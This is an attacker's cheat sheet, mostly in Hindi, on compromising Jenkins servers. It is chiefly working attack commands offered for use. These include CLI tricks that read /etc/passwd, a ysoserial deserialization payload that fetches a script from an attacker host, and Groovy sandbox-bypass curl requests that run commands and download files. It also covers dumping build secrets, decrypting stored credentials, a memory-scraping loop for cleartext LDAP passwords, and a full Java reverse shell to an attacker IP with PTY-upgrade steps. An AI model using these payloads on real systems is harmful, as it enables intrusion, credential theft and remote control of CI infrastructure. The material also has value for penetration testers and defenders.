
Notes about attacking Jenkins servers
प्रमाणित होने पर, पूरी फ़ाइल प्राप्त कर सकते हैं:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
बिना प्रमाणीकरण या Global/Read अनुमतियों के अभाव में, केवल 3 पंक्तियाँ पढ़ सकते हैं: पहली पंक्ति पढ़ें:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
दूसरी पंक्ति पढ़ें:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
तीसरी पंक्ति पढ़ें:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
क्रेडेंशियल एन्क्रिप्शन कुंजी को ब्रूटफोर्स कैसे करें।
पेलोड जनरेट करने के लिए ysoserial का उपयोग करें। फिर इस स्क्रिप्ट का उपयोग करके RCE करें:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
विवरण यहाँ।
यदि Jenkins प्रमाणीकरण माँगता है लेकिन निम्नलिखित अनुरोध का उपयोग करके मान्य डेटा लौटाता है, तो यह असुरक्षित है:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
मूल RCE भेद्यता यहाँ, पूरा एक्सप्लॉइट यहाँ।
Overall/Read और Job/Configure अनुमतियों के साथ वैकल्पिक RCE यहाँ।
कुछ Groovy के साथ जाँचें कि कोई Jenkins इंस्टेंस असुरक्षित है (इसके लिए Overall/Read अनुमतियाँ चाहिए):
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
नोट: यदि आपको missing crumb के बारे में 403 त्रुटि मिलती है (जो Jenkins में CSRF सुरक्षा है), तो आप https://example.com/crumbIssuer/api/json पर GET अनुरोध भेजकर crumb मान प्राप्त कर सकते हैं। crumb मान को फिर POST अनुरोध में Jenkins-Crumb Header में जोड़ा जाना चाहिए।
मनमाना bash कमांड निष्पादित करें:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
यदि आपको तुरंत रिवर्स शेल नहीं मिलता है, तो आप एक अपवाद (exception) फेंककर डीबग कर सकते हैं:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
यह केवल तभी काम करेगा जब किसी उपयोगकर्ता के पास सुरक्षा मैट्रिक्स में 'Jobs/Configure' अधिकार हों, इसलिए यह बहुत विशिष्ट है।
ध्यान दें कि यह केवल तभी शोषणीय है जब समर्पित और पुराने Update Center का उपयोग कर रहे हों। इसलिए अधिकांश सर्वर असुरक्षित नहीं हैं।
क्लियरटेक्स्ट सीक्रेट मिलने की उम्मीद में बिल्ड कंसोल आउटपुट और बिल्ड एनवायरनमेंट वेरिएबल्स को डंप करने के लिए इस स्क्रिप्ट का उपयोग करें।
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
इस पायथन स्क्रिप्ट या इस पावरशेल स्क्रिप्ट का उपयोग करें।
Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए ये फ़ाइलें आवश्यक हैं:
ऐसे सीक्रेट आमतौर पर इनमें मिल सकते हैं:
इन्हें खोजने के लिए एक regexp यहाँ है:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
यदि Jenkins उपयोगकर्ता क्रेडेंशियल्स को LDAP पर रिले करके सत्यापित करने के लिए कॉन्फ़िगर किया गया है (जो मूर्खतापूर्ण है, लेकिन कंपनियों में एक सामान्य भेद्यता है), तो Java प्रक्रिया की मेमोरी डंप करके इन क्लियरटेक्स्ट उपयोगकर्ता क्रेडेंशियल्स को पुनर्प्राप्त करना संभव है। Jenkins सर्वर के लिए PID 7 मानते हुए, निम्नलिखित लूप हर 30 सेकंड में स्टैक का मेमोरी डंप करेगा:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
थोड़ी देरी महत्वपूर्ण है क्योंकि गार्बेज कलेक्टर नियमित रूप से क्रेडेंशियल संरचनाओं को मुक्त कर देगा।
पहले डंप किए गए सीक्रेट्स को डिक्रिप्ट करने के लिए इस स्क्रिप्ट का उपयोग करें।
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
मल्टीलाइन शेल कमांड जिसमें पाइप, रिडायरेक्ट आदि शामिल हो सकते हैं:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
इस स्क्रिप्ट का उपयोग करके इसे स्वचालित करें।
डिफ़ॉल्ट रूप से निष्पादन मास्टर नोड पर होता है। किसी विशिष्ट स्लेव पर निष्पादित करने के लिए इस स्क्रिप्ट का उपयोग करें:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
यदि किसी को इसकी आवश्यकता हो, तो मैं पूरी तरह से काम करने वाला PTY पुनर्प्राप्त करने के लिए यह रिवर्स शेल टिप यहाँ छोड़ रहा हूँ:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy